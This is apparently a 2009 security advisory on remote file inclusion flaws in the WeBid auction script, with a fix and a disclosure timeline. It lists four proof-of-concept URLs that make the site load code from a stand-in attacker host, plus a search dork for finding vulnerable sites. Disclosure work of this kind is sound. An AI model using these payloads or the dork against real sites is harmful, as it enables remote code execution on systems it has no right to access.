WeBid 0.7.3 RC9 - Multiple Remote File Inclusions

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[ECHO_ADV_104$2009] WeBid <= 0.7.3 RC9 Multiple Remote File Inclution Vulnerabilities
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Author       : K-159
Date         : March, 11 th 2009
Location     : Jakarta, Indonesia
Web          : http://e-rdc.org/v1/news.php?readmore=127
Critical Lvl : High
Impact       : System Access
Where        : From Remote
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Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : WeBid
version     : <= 0.7.3 RC9
Vendor      : http://sourceforge.net/projects/simpleauction
              http://www.webidsupport.com/
Description :

WeBid is Open source php/mysql fully featured auction script. Perfect for those who want to start their own auction site.

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Vulnerability:
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Input passed to the "$include_path" parameter in cron.php page is not properly verified before being used 
to include files.This can be exploited to include arbitrary files from local or external resources.
This vulnerability also happen to files ST_browsers.php, ST_countries.php, ST_platforms.php in admin's folder
Successful exploitation requires that "register_globals" is enabled.


Poc/Exploit:
~~~~~~~
http://www.example.com/[path]/cron.php?include_path=http://www.attacker.com/evil?
http://www.example.com/[path]/admin/ST_brwosers.php?include_path=http://www.attacker.com/evil?
http://www.example.com/[path]/admin/ST_countries.php?include_path=http://www.attacker.com/evil?
http://www.example.com/[path]/admin/ST_platforms.php?include_path=http://www.attacker.com/evil?

Dork:
~~~
Google : "copyright 2008, WEBID"


Solution:
~~~~~

- Edit the source code to ensure that input is properly verified.
- turn off register_globals.

Timeline:
~~~~~~~

- 08 - 03 - 2009 bug found
- 08 - 03 - 2009 vendor contacted
- 08 - 03 - 2009 vendor response
- 11 - 03 - 2009 advisory release
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Contact:
~~~~

K-159 || echo|staff || adv[at]e-rdc[dot]org
Homepage: http://www.e-rdc.org/

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